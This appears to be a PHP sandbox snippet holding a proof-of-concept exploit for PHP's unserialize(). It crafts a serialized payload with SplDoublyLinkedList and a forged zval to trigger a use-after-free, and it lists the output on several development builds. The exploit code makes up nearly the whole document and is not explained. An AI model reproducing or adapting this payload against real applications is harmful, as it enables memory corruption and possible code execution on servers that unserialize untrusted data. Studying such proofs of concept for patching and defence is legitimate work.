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<?php class obj { var $ryat; function __wakeup() { $this->ryat = 1; } } $fakezval = ptr2str(1122334455); $fakezval .= ptr2str(0); $fakezval .= "\x00\x00\x00\x00"; $fakezval .= "\x01"; $fakezval .= "\x00"; $fakezval .= "\x00\x00"; $inner = 'i:1234;:i:1;'; $exploit = 'a:5:{i:0;i:1;i:1;C:19:"SplDoublyLinkedList":'.strlen($inner).':{'.$inner.'}i:2;O:3:"obj":1:{s:4:"ryat";R:3;}i:3;a:1:{i:0;R:5;}i:4;s:'.strlen($fakezval).':"'.$fakezval.'";}'; $data = unserialize($exploit); var_dump($data); function ptr2str($ptr) { $out = ''; for ($i = 0; $i < 8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; }
Output for git.master, git.master_jit, rfc.property-hooks
array(5) { [0]=> int(1) [1]=> &int(1) [2]=> object(obj)#2 (1) { ["ryat"]=> &int(1) } [3]=> array(1) { [0]=> int(1) } [4]=> string(24) "�v�B" }

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